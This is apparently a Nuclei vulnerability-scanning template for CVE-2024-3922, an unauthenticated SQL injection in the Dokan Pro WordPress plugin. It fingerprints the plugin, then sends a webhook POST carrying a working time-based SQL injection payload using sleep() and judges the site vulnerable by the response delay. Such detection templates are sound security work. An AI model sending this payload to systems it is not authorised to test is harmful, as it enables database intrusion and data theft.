id: CVE-2024-3922

info:
  name: Dokan Pro <= 3.10.3 - SQL Injection
  author: s4e-io
  severity: critical
  description: |
    The Dokan Pro plugin for WordPress is vulnerable to SQL Injection via the 'code' parameter in all versions up to, and including, 3.10.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.
  impact: |
    Unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  remediation: |
    Fixed in 3.11.0
  reference:
    - https://dokan.co/docs/wordpress/changelog/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3922
  classification:
    epss-score: 0.89662
    epss-percentile: 0.99579
    cpe: cpe:2.3:a:wedevs:dokan:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wedevs
    product: dokan
    publicwww-query: "/wp-content/plugins/dokan-pro/"
  tags: time-based-sqli,cve,cve2024,dokan,wp-plugin,wordpress,wp,dokan-pro,sqli,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/dokan-pro/changelog.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "Dokan product"
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin.php?webhook=dokan-moip HTTP/1.1
        Host: {{Hostname}}

        {"env":"1","event":"invoice.created","resource":{"subscription_code":"11111' and (select 1 from (select sleep( if(1=1,6,0) ))x )='"}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "status_code == 302"
        condition: and
# digest: 4b0a00483046022100af21a0c67faa4b7f662a6b9ad3d6f684965e5fca865f5e86d7471e90818a5eab022100931529e9e98a53111a5e5fad718b1a6d61fe812e61dad29ed8c2c61fb5a43e56:922c64590222798bb761d5b6d8e72950